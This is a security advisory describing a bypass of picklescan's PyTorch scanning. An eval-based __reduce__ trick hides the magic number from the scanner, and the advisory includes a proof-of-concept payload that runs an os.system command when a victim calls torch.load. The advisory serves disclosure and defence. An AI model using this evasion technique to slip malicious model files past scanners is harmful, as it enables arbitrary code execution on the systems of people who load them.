Lack of data validation In picklescan
Description
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
Summary
This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.
PoC
Attack Step 1
we can edit the source code of the function _legacy_save() as follows:
class payload: def __reduce__(self): return (eval, ('MAGIC_NUMBER',)) pickle_module.dump(payload(), f, protocol=pickle_protocol)
Attack Step 2
with the modified version of PyTorch, we run the following PoC to generate the payload.pt:
import torch class payload: def __reduce__(self): return (__import__('os').system, ('touch /tmp/hacked',)) torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)
Picklescan result
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356 ----------- SCAN SUMMARY ----------- Scanned files: 0 Infected files: 0 Dangerous globals: 0
Victim Step
import torch torch.load('./payload.pt', weights_only=False)
then you can find the illegal file /tmp/hacked created in your local system.
Impact
Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
pypi | 1.0.3 |
Aliases
References